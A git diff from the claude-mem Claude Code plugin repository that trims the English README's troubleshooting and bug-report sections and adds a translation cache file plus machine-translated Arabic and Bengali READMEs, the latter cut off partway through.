-- Worker not starting → `claude-mem restart` -- No context appearing → `npm run test:context` -- Database issues → `sqlite3 ~/.claude-mem/claude-mem.db "PRAGMA integrity_check;"` -- Search not working → Check FTS5 tables exist - -See [Troubleshooting Guide](https://docs.claude-mem.ai/troubleshooting) for complete solutions. - -### Windows Known Issues - -**Console Window Visibility**: On Windows, a console window may briefly appear when the worker service starts. This is a cosmetic issue that we're working to resolve. We've prioritized stability by removing a workaround that was causing libuv crashes. The window does not affect functionality and will be addressed in a future release when the MCP SDK provides proper window hiding support. +See the **[Troubleshooting Guide](https://docs.claude-mem.ai/troubleshooting)** for common issues and solutions. --- ## Bug Reports -**Automated Bug Report Generator** - Create comprehensive bug reports with one command: +Create comprehensive bug reports with the automated generator: ```bash -# From the plugin directory cd ~/.claude/plugins/marketplaces/thedotmack npm run bug-report ``` -The bug report tool will: -- 🌎 **Auto-translate** - Write in ANY language, automatically translates to English -- 📊 **Collect diagnostics** - Gathers versions, platform info, worker status, logs, and configuration -- 📝 **Interactive prompts** - Guides you through describing the issue with multiline support -- 🤖 **AI formatting** - Uses Claude Agent SDK to generate professional GitHub issues -- 🔒 **Privacy-safe** - Auto-sanitizes paths, optional `--no-logs` flag -- 🌐 **Auto-submit** - Opens GitHub with pre-filled title and body - -**Plugin Directory Paths:** -- **macOS/Linux**: `~/.claude/plugins/marketplaces/thedotmack` -- **Windows**: `%USERPROFILE%\.claude\plugins\marketplaces\thedotmack` - -**Options:** -```bash -npm run bug-report --no-logs # Skip logs for privacy -npm run bug-report --verbose # Show all diagnostics -npm run bug-report --help # Show help -``` - ---- - ## Contributing Contributions are welcome! Please: @@ -469,6 +285,8 @@ See the [LICENSE](LICENSE) file for full details. - Derivative works must also be licensed under AGPL-3.0 - There is NO WARRANTY for this software +**Note on Ragtime**: The `ragtime/` directory is licensed separately under the **PolyForm Noncommercial License 1.0.0**. See [ragtime/LICENSE](ragtime/LICENSE) for details. + --- ## Support diff --git a/docs/i18n/.translation-cache.json b/docs/i18n/.translation-cache.json new file mode 100644 index 00000000..4344fa14 --- /dev/null +++ b/docs/i18n/.translation-cache.json @@ -0,0 +1,146 @@ +{ + "sourceHash": "c0eb50d6772b5e61", + "lastUpdated": "2025-12-23T00:48:34.035Z", + "translations": { + "zh": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.09515915 + }, + "ja": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.09678544999999998 + }, + "pt-br": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.08436794999999998 + }, + "ko": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.10244419999999999 + }, + "es": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.0894832 + }, + "de": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.08818689999999998 + }, + "fr": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:39:44.891Z", + "costUsd": 0.0855869 + }, + "nl": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.0943619 + }, + "ru": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.0944719 + }, + "pl": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.08966189999999999 + }, + "cs": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.08897189999999998 + }, + "uk": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.09968189999999999 + }, + "tr": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.0969419 + }, + "ar": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.10445689999999998 + }, + "he": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:43:09.878Z", + "costUsd": 0.1489769 + }, + "id": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.08454690000000001 + }, + "sv": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.09621189999999999 + }, + "ro": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.10500190000000001 + }, + "vi": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.1035169 + }, + "hi": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.1171519 + }, + "th": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.11580689999999999 + }, + "bn": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:45:44.015Z", + "costUsd": 0.1376269 + }, + "it": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.0875869 + }, + "da": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.0830469 + }, + "no": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.08986190000000001 + }, + "hu": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.0911269 + }, + "fi": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.09436689999999999 + }, + "el": { + "hash": "c0eb50d6772b5e61", + "translatedAt": "2025-12-23T00:48:34.035Z", + "costUsd": 0.19731189999999998 + } + } +} \ No newline at end of file diff --git a/docs/i18n/README.ar.md b/docs/i18n/README.ar.md new file mode 100644 index 00000000..9adb4f23 --- /dev/null +++ b/docs/i18n/README.ar.md @@ -0,0 +1,301 @@ +🌐 هذه ترجمة آلية. نرحب بالتصحيحات من المجتمع! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

نظام ضغط الذاكرة المستمرة المبني لـ Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ البدء السريع • + كيف يعمل • + أدوات البحث • + التوثيق • + الإعدادات • + استكشاف الأخطاء وإصلاحها • + الترخيص +

+ +

+ يحافظ Claude-Mem بسلاسة على السياق عبر الجلسات من خلال التقاط الملاحظات حول استخدام الأدوات تلقائيًا، وإنشاء ملخصات دلالية، وإتاحتها للجلسات المستقبلية. هذا يمكّن Claude من الحفاظ على استمرارية المعرفة حول المشاريع حتى بعد انتهاء الجلسات أو إعادة الاتصال. +

+ +--- + +## البدء السريع + +ابدأ جلسة Claude Code جديدة في الطرفية وأدخل الأوامر التالية: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +أعد تشغيل Claude Code. سيظهر السياق من الجلسات السابقة تلقائيًا في الجلسات الجديدة. + +**الميزات الرئيسية:** + +- 🧠 **ذاكرة مستمرة** - يبقى السياق عبر الجلسات +- 📊 **الكشف التدريجي** - استرجاع الذاكرة بطبقات مع رؤية تكلفة الرموز +- 🔍 **بحث قائم على المهارات** - استعلم عن تاريخ مشروعك باستخدام مهارة mem-search +- 🖥️ **واجهة مستخدم ويب** - بث الذاكرة المباشر على http://localhost:37777 +- 💻 **مهارة Claude Desktop** - ابحث في الذاكرة من محادثات Claude Desktop +- 🔒 **التحكم في الخصوصية** - استخدم وسوم `` لاستبعاد المحتوى الحساس من التخزين +- ⚙️ **إعدادات السياق** - تحكم دقيق في السياق الذي يتم حقنه +- 🤖 **تشغيل تلقائي** - لا يتطلب تدخلاً يدويًا +- 🔗 **الاستشهادات** - رجوع إلى الملاحظات السابقة باستخدام المعرفات (الوصول عبر http://localhost:37777/api/observation/{id} أو عرض الكل في عارض الويب على http://localhost:37777) +- 🧪 **قناة تجريبية** - جرّب الميزات التجريبية مثل Endless Mode عبر تبديل الإصدار + +--- + +## التوثيق + +📚 **[عرض التوثيق الكامل](docs/)** - تصفح مستندات markdown على GitHub + +### البدء + +- **[دليل التثبيت](https://docs.claude-mem.ai/installation)** - البدء السريع والتثبيت المتقدم +- **[دليل الاستخدام](https://docs.claude-mem.ai/usage/getting-started)** - كيف يعمل Claude-Mem تلقائيًا +- **[أدوات البحث](https://docs.claude-mem.ai/usage/search-tools)** - استعلم عن تاريخ مشروعك باللغة الطبيعية +- **[الميزات التجريبية](https://docs.claude-mem.ai/beta-features)** - جرّب الميزات التجريبية مثل Endless Mode + +### أفضل الممارسات + +- **[هندسة السياق](https://docs.claude-mem.ai/context-engineering)** - مبادئ تحسين سياق وكيل الذكاء الاصطناعي +- **[الكشف التدريجي](https://docs.claude-mem.ai/progressive-disclosure)** - الفلسفة وراء استراتيجية تهيئة السياق في Claude-Mem + +### البنية المعمارية + +- **[نظرة عامة](https://docs.claude-mem.ai/architecture/overview)** - مكونات النظام وتدفق البيانات +- **[تطور البنية المعمارية](https://docs.claude-mem.ai/architecture-evolution)** - الرحلة من v3 إلى v5 +- **[بنية الخطافات](https://docs.claude-mem.ai/hooks-architecture)** - كيف يستخدم Claude-Mem خطافات دورة الحياة +- **[مرجع الخطافات](https://docs.claude-mem.ai/architecture/hooks)** - شرح 7 سكريبتات خطافات +- **[خدمة العامل](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API وإدارة Bun +- **[قاعدة البيانات](https://docs.claude-mem.ai/architecture/database)** - مخطط SQLite وبحث FTS5 +- **[بنية البحث](https://docs.claude-mem.ai/architecture/search-architecture)** - البحث المختلط مع قاعدة بيانات المتجهات Chroma + +### الإعدادات والتطوير + +- **[الإعدادات](https://docs.claude-mem.ai/configuration)** - متغيرات البيئة والإعدادات +- **[التطوير](https://docs.claude-mem.ai/development)** - البناء، الاختبار، سير العمل للمساهمة +- **[استكشاف الأخطاء وإصلاحها](https://docs.claude-mem.ai/troubleshooting)** - المشكلات الشائعة والحلول + +--- + +## كيف يعمل + +**المكونات الأساسية:** + +1. **5 خطافات دورة الحياة** - SessionStart، UserPromptSubmit، PostToolUse، Stop، SessionEnd (6 سكريبتات خطافات) +2. **تثبيت ذكي** - فاحص التبعيات المخزنة مؤقتًا (سكريبت ما قبل الخطاف، ليس خطاف دورة حياة) +3. **خدمة العامل** - HTTP API على المنفذ 37777 مع واجهة مستخدم عارض الويب و10 نقاط نهاية للبحث، تديرها Bun +4. **قاعدة بيانات SQLite** - تخزن الجلسات، الملاحظات، الملخصات +5. **مهارة mem-search** - استعلامات اللغة الطبيعية مع الكشف التدريجي +6. **قاعدة بيانات المتجهات Chroma** - البحث المختلط الدلالي + الكلمات المفتاحية لاسترجاع السياق الذكي + +انظر [نظرة عامة على البنية المعمارية](https://docs.claude-mem.ai/architecture/overview) للتفاصيل. + +--- + +## مهارة mem-search + +يوفر Claude-Mem بحثًا ذكيًا من خلال مهارة mem-search التي تُستدعى تلقائيًا عندما تسأل عن العمل السابق: + +**كيف يعمل:** +- فقط اسأل بشكل طبيعي: *"ماذا فعلنا في الجلسة الأخيرة؟"* أو *"هل أصلحنا هذا الخطأ من قبل؟"* +- يستدعي Claude تلقائيًا مهارة mem-search للعثور على السياق ذي الصلة + +**عمليات البحث المتاحة:** + +1. **البحث في الملاحظات** - البحث النصي الكامل عبر الملاحظات +2. **البحث في الجلسات** - البحث النصي الكامل عبر ملخصات الجلسات +3. **البحث في المطالبات** - البحث في طلبات المستخدم الخام +4. **حسب المفهوم** - البحث بواسطة وسوم المفهوم (discovery، problem-solution، pattern، إلخ.) +5. **حسب الملف** - البحث عن الملاحظات التي تشير إلى ملفات محددة +6. **حسب النوع** - البحث حسب النوع (decision، bugfix، feature، refactor، discovery، change) +7. **السياق الحديث** - الحصول على سياق الجلسة الأخيرة لمشروع +8. **الجدول الزمني** - الحصول على جدول زمني موحد للسياق حول نقطة زمنية محددة +9. **الجدول الزمني حسب الاستعلام** - البحث عن الملاحظات والحصول على سياق الجدول الزمني حول أفضل تطابق +10. **مساعدة API** - الحصول على توثيق API البحث + +**أمثلة على استعلامات اللغة الطبيعية:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +انظر [دليل أدوات البحث](https://docs.claude-mem.ai/usage/search-tools) لأمثلة مفصلة. + +--- + +## الميزات التجريبية + +يقدم Claude-Mem **قناة تجريبية** بميزات تجريبية مثل **Endless Mode** (بنية ذاكرة بيوميمتية للجلسات الممتدة). بدّل بين الإصدارات المستقرة والتجريبية من واجهة مستخدم عارض الويب على http://localhost:37777 ← الإعدادات. + +انظر **[توثيق الميزات التجريبية](https://docs.claude-mem.ai/beta-features)** لتفاصيل حول Endless Mode وكيفية تجربته. + +--- + +## متطلبات النظام + +- **Node.js**: 18.0.0 أو أعلى +- **Claude Code**: أحدث إصدار مع دعم الإضافات +- **Bun**: بيئة تشغيل JavaScript ومدير العمليات (يُثبت تلقائيًا إذا كان مفقودًا) +- **uv**: مدير حزم Python للبحث المتجهي (يُثبت تلقائيًا إذا كان مفقودًا) +- **SQLite 3**: للتخزين المستمر (مدمج) + +--- + +## الإعدادات + +تتم إدارة الإعدادات في `~/.claude-mem/settings.json` (يتم إنشاؤه تلقائيًا بالقيم الافتراضية عند التشغيل الأول). قم بتكوين نموذج الذكاء الاصطناعي، منفذ العامل، دليل البيانات، مستوى السجل، وإعدادات حقن السياق. + +انظر **[دليل الإعدادات](https://docs.claude-mem.ai/configuration)** لجميع الإعدادات المتاحة والأمثلة. + +--- + +## التطوير + +انظر **[دليل التطوير](https://docs.claude-mem.ai/development)** لتعليمات البناء، الاختبار، وسير عمل المساهمة. + +--- + +## استكشاف الأخطاء وإصلاحها + +إذا واجهت مشكلات، صِف المشكلة لـ Claude وستقوم مهارة troubleshoot تلقائيًا بتشخيصها وتوفير الإصلاحات. + +انظر **[دليل استكشاف الأخطاء وإصلاحها](https://docs.claude-mem.ai/troubleshooting)** للمشكلات الشائعة والحلول. + +--- + +## تقارير الأخطاء + +أنشئ تقارير أخطاء شاملة باستخدام المولّد الآلي: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## المساهمة + +المساهمات مرحب بها! يُرجى: + +1. عمل Fork للمستودع +2. إنشاء فرع ميزة +3. إجراء التغييرات مع الاختبارات +4. تحديث التوثيق +5. تقديم Pull Request + +انظر [دليل التطوير](https://docs.claude-mem.ai/development) لسير عمل المساهمة. + +--- + +## الترخيص + +هذا المشروع مرخص بموجب **ترخيص GNU Affero العام الإصدار 3.0** (AGPL-3.0). + +حقوق النشر (C) 2025 Alex Newman (@thedotmack). جميع الحقوق محفوظة. + +انظر ملف [LICENSE](LICENSE) للتفاصيل الكاملة. + +**ماذا يعني هذا:** + +- يمكنك استخدام وتعديل وتوزيع هذا البرنامج بحرية +- إذا قمت بتعديل ونشر على خادم شبكة، يجب أن تتيح كود المصدر الخاص بك +- الأعمال المشتقة يجب أن تكون مرخصة أيضًا تحت AGPL-3.0 +- لا يوجد ضمان لهذا البرنامج + +**ملاحظة حول Ragtime**: دليل `ragtime/` مرخص بشكل منفصل تحت **ترخيص PolyForm Noncommercial 1.0.0**. انظر [ragtime/LICENSE](ragtime/LICENSE) للتفاصيل. + +--- + +## الدعم + +- **التوثيق**: [docs/](docs/) +- **المشكلات**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **المستودع**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **المؤلف**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**مبني باستخدام Claude Agent SDK** | **مدعوم بواسطة Claude Code** | **صُنع باستخدام TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.bn.md b/docs/i18n/README.bn.md new file mode 100644 index 00000000..4a838025 --- /dev/null +++ b/docs/i18n/README.bn.md @@ -0,0 +1,302 @@ +🌐 এটি একটি স্বয়ংক্রিয় অনুবাদ। সম্প্রদায়ের সংশোধন স্বাগত জানাই! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code-এর জন্য নির্মিত স্থায়ী মেমরি কম্প্রেশন সিস্টেম।

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ দ্রুত শুরু • + এটি কীভাবে কাজ করে • + অনুসন্ধান টুল • + ডকুমেন্টেশন • + কনফিগারেশন • + সমস্যা সমাধান • + লাইসেন্স +

+ +

+ Claude-Mem স্বয়ংক্রিয়ভাবে টুল ব্যবহারের পর্যবেক্ষণ ক্যাপচার করে, সিমান্টিক সারসংক্ষেপ তৈরি করে এবং সেগুলি ভবিষ্যতের সেশনে উপলব্ধ করে সেশন জুড়ে প্রসঙ্গ নির্বিঘ্নে সংরক্ষণ করে। এটি Claude কে সেশন শেষ হওয়ার বা পুনঃসংযোগের পরেও প্রকল্প সম্পর্কে জ্ঞানের ধারাবাহিকতা বজায় রাখতে সক্ষম করে। +

+ +--- + +## দ্রুত শুরু + +টার্মিনালে একটি নতুন Claude Code সেশন শুরু করুন এবং নিম্নলিখিত কমান্ডগুলি প্রবেশ করান: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Claude Code পুনরায় চালু করুন। পূর্ববর্তী সেশনের প্রসঙ্গ স্বয়ংক্রিয়ভাবে নতুন সেশনে উপস্থিত হবে। + +**মূল বৈশিষ্ট্যসমূহ:** + +- 🧠 **স্থায়ী মেমরি** - প্রসঙ্গ সেশন জুড়ে টিকে থাকে +- 📊 **প্রগতিশীল প্রকাশ** - টোকেন খরচ দৃশ্যমানতা সহ স্তরযুক্ত মেমরি পুনরুদ্ধার +- 🔍 **দক্ষতা-ভিত্তিক অনুসন্ধান** - mem-search skill দিয়ে আপনার প্রকল্পের ইতিহাস অনুসন্ধান করুন +- 🖥️ **ওয়েব ভিউয়ার UI** - http://localhost:37777 এ রিয়েল-টাইম মেমরি স্ট্রিম +- 💻 **Claude Desktop Skill** - Claude Desktop কথোপকথন থেকে মেমরি অনুসন্ধান করুন +- 🔒 **গোপনীয়তা নিয়ন্ত্রণ** - সংবেদনশীল বিষয়বস্তু স্টোরেজ থেকে বাদ দিতে `` ট্যাগ ব্যবহার করুন +- ⚙️ **প্রসঙ্গ কনফিগারেশন** - কোন প্রসঙ্গ ইনজেক্ট করা হবে তার উপর সূক্ষ্ম নিয়ন্ত্রণ +- 🤖 **স্বয়ংক্রিয় অপারেশন** - কোন ম্যানুয়াল হস্তক্ষেপ প্রয়োজন নেই +- 🔗 **উদ্ধৃতি** - ID দিয়ে পূর্ববর্তী পর্যবেক্ষণ রেফারেন্স করুন (http://localhost:37777/api/observation/{id} এর মাধ্যমে অ্যাক্সেস করুন অথবা http://localhost:37777 এ ওয়েব ভিউয়ারে সব দেখুন) +- 🧪 **বিটা চ্যানেল** - ভার্সন পরিবর্তনের মাধ্যমে Endless Mode-এর মতো পরীক্ষামূলক বৈশিষ্ট্য চেষ্টা করুন + +--- + +## ডকুমেন্টেশন + +📚 **[সম্পূর্ণ ডকুমেন্টেশন দেখুন](docs/)** - GitHub-এ markdown ডক্স ব্রাউজ করুন + +### শুরু করা + +- **[ইনস্টলেশন গাইড](https://docs.claude-mem.ai/installation)** - দ্রুত শুরু এবং উন্নত ইনস্টলেশন +- **[ব্যবহার গাইড](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Mem কীভাবে স্বয়ংক্রিয়ভাবে কাজ করে +- **[অনুসন্ধান টুল](https://docs.claude-mem.ai/usage/search-tools)** - প্রাকৃতিক ভাষা দিয়ে আপনার প্রকল্পের ইতিহাস অনুসন্ধান করুন +- **[বিটা বৈশিষ্ট্য](https://docs.claude-mem.ai/beta-features)** - Endless Mode-এর মতো পরীক্ষামূলক বৈশিষ্ট্য চেষ্টা করুন + +### সর্বোত্তম অনুশীলন + +- **[প্রসঙ্গ ইঞ্জিনিয়ারিং](https://docs.claude-mem.ai/context-engineering)** - AI এজেন্ট প্রসঙ্গ অপটিমাইজেশন নীতি +- **[প্রগতিশীল প্রকাশ](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Mem-এর প্রসঙ্গ প্রাইমিং কৌশলের পিছনে দর্শন + +### আর্কিটেকচার + +- **[সারসংক্ষেপ](https://docs.claude-mem.ai/architecture/overview)** - সিস্টেম উপাদান এবং ডেটা ফ্লো +- **[আর্কিটেকচার বিবর্তন](https://docs.claude-mem.ai/architecture-evolution)** - v3 থেকে v5 পর্যন্ত যাত্রা +- **[হুকস আর্কিটেকচার](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Mem কীভাবে লাইফসাইকেল হুক ব্যবহার করে +- **[হুকস রেফারেন্স](https://docs.claude-mem.ai/architecture/hooks)** - ৭টি হুক স্ক্রিপ্ট ব্যাখ্যা করা হয়েছে +- **[ওয়ার্কার সার্ভিস](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API এবং Bun ম্যানেজমেন্ট +- **[ডাটাবেস](https://docs.claude-mem.ai/architecture/database)** - SQLite স্কিমা এবং FTS5 অনুসন্ধান +- **[অনুসন্ধান আর্কিটেকচার](https://docs.claude-mem.ai/architecture/search-architecture)** - Chroma ভেক্টর ডাটাবেস সহ হাইব্রিড অনুসন্ধান + +### কনফিগারেশন এবং ডেভেলপমেন্ট + +- **[কনফিগারেশন](https://docs.claude-mem.ai/configuration)** - পরিবেশ ভেরিয়েবল এবং সেটিংস +- **[ডেভেলপমেন্ট](https://docs.claude-mem.ai/development)** - বিল্ডিং, টেস্টিং, অবদান +- **[সমস্যা সমাধান](https://docs.claude-mem.ai/troubleshooting)** - সাধারণ সমস্যা এবং সমাধান + +--- + +## এটি কীভাবে কাজ করে + +**মূল উপাদানসমূহ:** + +1. **৫টি লাইফসাইকেল হুক** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (৬টি হুক স্ক্রিপ্ট) +2. **স্মার্ট ইনস্টল** - ক্যাশড ডিপেন্ডেন্সি চেকার (প্রি-হুক স্ক্রিপ্ট, লাইফসাইকেল হুক নয়) +3. **ওয়ার্কার সার্ভিস** - ওয়েব ভিউয়ার UI এবং ১০টি অনুসন্ধান এন্ডপয়েন্ট সহ পোর্ট 37777-এ HTTP API, Bun দ্বারা পরিচালিত +4. **SQLite ডাটাবেস** - সেশন, পর্যবেক্ষণ, সারসংক্ষেপ সংরক্ষণ করে +5. **mem-search Skill** - প্রগতিশীল প্রকাশ সহ প্রাকৃতিক ভাষা প্রশ্ন +6. **Chroma ভেক্টর ডাটাবেস** - বুদ্ধিমান প্রসঙ্গ পুনরুদ্ধারের জন্য হাইব্রিড সিমান্টিক + কীওয়ার্ড অনুসন্ধান + +বিস্তারিত জানতে [আর্কিটেকচার সারসংক্ষেপ](https://docs.claude-mem.ai/architecture/overview) দেখুন। + +--- + +## অনুসন্ধান টুল + +Claude-Mem, mem-search skill-এর মাধ্যমে বুদ্ধিমান অনুসন্ধান প্রদান করে যা আপনি পূর্ববর্তী কাজ সম্পর্কে জিজ্ঞাসা করলে স্বয়ংক্রিয়ভাবে চালু হয়: + +**এটি কীভাবে কাজ করে:** +- শুধু স্বাভাবিকভাবে জিজ্ঞাসা করুন: *"গত সেশনে আমরা কী করেছিলাম?"* অথবা *"আমরা কি আগে এই বাগটি ঠিক করেছিলাম?"* +- Claude স্বয়ংক্রিয়ভাবে প্রাসঙ্গিক প্রসঙ্গ খুঁজে পেতে mem-search skill চালু করে + +**উপলব্ধ অনুসন্ধান অপারেশনসমূহ:** + +1. **অবজারভেশন অনুসন্ধান করুন** - পর্যবেক্ষণ জুড়ে পূর্ণ-পাঠ্য অনুসন্ধান +2. **সেশন অনুসন্ধান করুন** - সেশন সারসংক্ষেপ জুড়ে পূর্ণ-পাঠ্য অনুসন্ধান +3. **প্রম্পট অনুসন্ধান করুন** - কাঁচা ব্যবহারকারী অনুরোধ অনুসন্ধান করুন +4. **ধারণা অনুযায়ী** - ধারণা ট্যাগ দ্বারা খুঁজুন (discovery, problem-solution, pattern, ইত্যাদি) +5. **ফাইল অনুযায়ী** - নির্দিষ্ট ফাইল উল্লেখ করা পর্যবেক্ষণ খুঁজুন +6. **টাইপ অনুযায়ী** - টাইপ দ্বারা খুঁজুন (decision, bugfix, feature, refactor, discovery, change) +7. **সাম্প্রতিক প্রসঙ্গ** - একটি প্রকল্পের জন্য সাম্প্রতিক সেশন প্রসঙ্গ পান +8. **টাইমলাইন** - সময়ের একটি নির্দিষ্ট বিন্দুর চারপাশে প্রসঙ্গের একীভূত টাইমলাইন পান +9. **প্রশ্ন দ্বারা টাইমলাইন** - পর্যবেক্ষণ অনুসন্ধান করুন এবং সেরা মিলের চারপাশে টাইমলাইন প্রসঙ্গ পান +10. **API সহায়তা** - অনুসন্ধান API ডকুমেন্টেশন পান + +**প্রাকৃতিক ভাষা প্রশ্নের উদাহরণ:** + +``` +"গত সেশনে আমরা কোন বাগ ঠিক করেছিলাম?" +"আমরা কীভাবে অথেন্টিকেশন প্রয়োগ করেছি?" +"worker-service.ts-এ কী পরিবর্তন করা হয়েছিল?" +"এই প্রকল্পে সাম্প্রতিক কাজ দেখান" +"ভিউয়ার UI যোগ করার সময় কী হচ্ছিল?" +``` + +বিস্তারিত উদাহরণের জন্য [অনুসন্ধান টুল গাইড](https://docs.claude-mem.ai/usage/search-tools) দেখুন। + +--- + +## বিটা বৈশিষ্ট্য + +Claude-Mem একটি **বিটা চ্যানেল** অফার করে যাতে **Endless Mode**-এর মতো পরীক্ষামূলক বৈশিষ্ট্য রয়েছে (বর্ধিত সেশনের জন্য বায়োমিমেটিক মেমরি আর্কিটেকচার)। http://localhost:37777 → Settings-এ ওয়েব ভিউয়ার UI থেকে স্থিতিশীল এবং বিটা সংস্করণের মধ্যে স্যুইচ করুন। + +Endless Mode এবং এটি কীভাবে চেষ্টা করবেন সে সম্পর্কে বিস্তারিত জানতে **[বিটা বৈশিষ্ট্য ডকুমেন্টেশন](https://docs.claude-mem.ai/beta-features)** দেখুন। + +--- + +## সিস্টেম প্রয়োজনীয়তা + +- **Node.js**: 18.0.0 বা উচ্চতর +- **Claude Code**: প্লাগইন সাপোর্ট সহ সর্বশেষ সংস্করণ +- **Bun**: JavaScript রানটাইম এবং প্রসেস ম্যানেজার (অনুপস্থিত থাকলে স্বয়ংক্রিয়ভাবে ইনস্টল হয়) +- **uv**: ভেক্টর অনুসন্ধানের জন্য Python প্যাকেজ ম্যানেজার (অনুপস্থিত থাকলে স্বয়ংক্রিয়ভাবে ইনস্টল হয়) +- **SQLite 3**: স্থায়ী স্টোরেজের জন্য (বান্ডল করা) + +--- + +## কনফিগারেশন + +সেটিংস `~/.claude-mem/settings.json`-এ পরিচালিত হয় (প্রথম রানে ডিফল্ট সহ স্বয়ংক্রিয়ভাবে তৈরি হয়)। AI মডেল, ওয়ার্কার পোর্ট, ডেটা ডিরেক্টরি, লগ লেভেল এবং প্রসঙ্গ ইনজেকশন সেটিংস কনফিগার করুন। + +সমস্ত উপলব্ধ সেটিংস এবং উদাহরণের জন্য **[কনফিগারেশন গাইড](https://docs.claude-mem.ai/configuration)** দেখুন। + +--- + +## ডেভেলপমেন্ট + +বিল্ড নির্দেশাবলী, টেস্টিং এবং অবদান ওয়ার্কফ্লোর জন্য **[ডেভেলপমেন্ট গাইড](https://docs.claude-mem.ai/development)** দেখুন। + +--- + +## সমস্যা সমাধান + +যদি সমস্যার সম্মুখীন হন, Claude-কে সমস্যাটি বর্ণনা করুন 